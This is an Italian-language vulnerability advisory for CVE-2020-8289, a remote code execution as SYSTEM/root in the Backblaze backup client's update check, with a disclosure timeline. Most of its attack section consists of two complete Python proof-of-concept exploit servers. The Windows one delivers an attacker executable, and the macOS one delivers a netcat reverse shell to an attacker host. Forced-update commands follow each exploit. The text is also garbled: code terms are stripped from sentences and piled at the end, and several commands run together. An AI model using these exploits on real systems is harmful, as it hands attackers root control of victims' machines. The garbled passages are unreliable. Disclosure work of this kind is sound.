
CVE-2020-8289 – Esecuzione di codice in remoto come SYSTEM/root tramite Backblaze
Nome: Esecuzione remota di codice come SYSTEM/root tramite Backblaze
CVE: CVE-2020-8289
Scopritore: Jason Geffner
Fornitore: Backblaze
Prodotto: Backblaze per Windows e Backblaze per macOS
Rischio: Critico
Data di scoperta: 2020-03-13
Data di pubblicazione: 2020-09-09
Versione corretta: 7.0.1.433 (Windows) e 7.1.0.434 (macOS)
Secondo Wikipedia, Backblaze è
"uno strumento di backup online che consente agli utenti Windows e macOS di eseguire il backup dei propri dati in data center remoti. Il servizio è progettato per aziende e utenti finali, offrendo spazio di archiviazione illimitato e supportando dimensioni dei file illimitate."
Le versioni vulnerabili di Backblaze per Windows e Backblaze per macOS contengono una vulnerabilità a rischio critico che consente a un attaccante remoto anonimo senza privilegi di eseguire codice in remoto (RCE) come SYSTEM/root.
Il processo di servizio del client Backblaze, denominato bzserv, viene eseguito come SYSTEM su Windows e come root su macOS. Ogni paio di ore, bzserv esegue un programma chiamato bztransmit (eseguito come SYSTEM/root) per scaricare un file XML chiamato clientversion.xml dal data center di Backblaze per verificare se è disponibile una versione più recente del client Backblaze da scaricare. L'URL per questo file XML è costruito dal nome host bzdatacenter nel file bzinstall.xml installato (di sola lettura per gli utenti senza privilegi) e dal percorso hardcoded api/clientversion.xml, producendo un URL come https://ca000.backblaze.com/api/clientversion.xml. Questo download viene eseguito tramite una libreria libcurl collegata staticamente. Tuttavia, le funzioni di che sfruttano contengono una logica peculiare che le porta a impostare a e a se l'URL fornito contiene una delle seguenti stringhe:
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblazeCiò consente a un attaccante remoto di impersonare il server web https://ca000.backblaze.com/ con un certificato SSL non valido (ad esempio un certificato autofirmato) e di fornire al client un file clientversion.xml controllato dall'attaccante. Quando bztransmit analizza il file XML scaricato, verifica se l'ultima versione del client descritta nel file XML è più recente della versione installata e, in tal caso, scarica il programma di installazione dell'ultima versione del client dal data center di Backblaze. L'URL per questo download è costruito dall'attributo win32_url/mac_url nel file clientversion.xml scaricato; il valore dell'attributo deve iniziare con %DEST_HOST% e tale stringa viene sostituita in fase di esecuzione con il nome host del data center descritto sopra. L'attaccante può quindi fornire nel proprio clientversion.xml un URL di download come %DEST_HOST%/api/install_backblaze, per indurre bztransmit a scaricare il programma di installazione da https://ca000.backblaze.com/api/install_backblaze e ignorare nuovamente il certificato SSL del server a causa della stringa nell'URL. Se il file scaricato non è un file ZIP (ad esempio, se è un file PE o un file Mach-O), l'unica validazione del file eseguita da è che il file contenga la stringa in un certo intervallo di offset all'interno del file. Una volta superata questa validazione, usa / per eseguire il file scaricato come /, consentendo così all'attaccante di eseguire RCE come /.
Video: https://youtu.be/W0THXbcX5V8
Questa prova di concetto è per il client Windows. Si assume che l'attaccante abbia già inviato una risposta DNS spoofata alla vittima per far puntare ca000.backblaze.com all'IP dell'attaccante, ma a scopo di test del PoC puoi invece aggiungere la riga <IP dell'attaccante> ca000.backblaze.com al file %windir%\System32\drivers\etc\hosts della vittima. Il codice seguente prevede che l'attaccante fornisca rce.exe (che verrà eseguito come SYSTEM sul sistema della vittima) e server.pem (che può essere autofirmato).
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Una volta che il codice sopra è in esecuzione, attendi. Il client della vittima verifica la presenza di aggiornamenti ogni paio di ore.
Se desideri testare il PoC senza attendere, puoi eseguire i seguenti comandi come SYSTEM (ad esempio usando psexec) sul sistema della vittima per forzare il controllo degli aggiornamenti:
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriateVideo: https://youtu.be/ILPP1Ky5nuY
Questa prova di concetto è per il client macOS. Nel mondo reale, un attaccante invierebbe una risposta DNS spoofata alla vittima per far puntare ca000.backblaze.com all'IP dell'attaccante, ma ai fini del PoC stiamo attaccando dallo stesso sistema della vittima e sfruttando il servizio Backblaze compromesso per creare una shell remota verso l'attaccante, dando così accesso root al potenziale attaccante remoto.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
attacker_ip = "localhost"
attacker_port = 12345
reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
"xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload.encode())
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' mac_version="1' + form.getvalue("version") + '"' +
' mac_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Una volta che il codice sopra è in esecuzione, attendi. Il client della vittima verifica la presenza di aggiornamenti ogni paio di ore.
Se desideri testare il PoC senza attendere, puoi eseguire i seguenti comandi sul sistema della vittima per forzare il controllo degli aggiornamenti:
sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lcksudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxmlsudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriateBackblaze ha corretto questa vulnerabilità nella versione 7.0.1.433 per Windows e nella versione 7.0.1.434 per macOS di Backblaze.
Questa vulnerabilità è stata scoperta e segnalata a Backblaze da Jason Geffner tramite HackerOne.
2020-03-13 - Vulnerabilità scoperta e segnalata a Backblaze tramite HackerOne
2020-03-31 - HackerOne ha verificato la vulnerabilità
2020-04-09 - Rilasciate le build Windows 7.0.1.433 e macOS 7.1.0.434
2020-04-17 - Assegnato CVE-2020-8150
2020-04-18 - Verificata la mitigazione della vulnerabilità
2020-04-20 - Richiesta la divulgazione pubblica
2020-09-09 - Divulgazione pubblica
2020-12-22 - Assegnazione CVE modificata in CVE-2020-8289
bztransmitlibcurlCURLOPT_SSL_VERIFYPEER0CURLOPT_SSL_VERIFYHOST0api/install_backblazebztransmitbzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavexbztransmitShellExecute()system()SYSTEMrootSYSTEMroot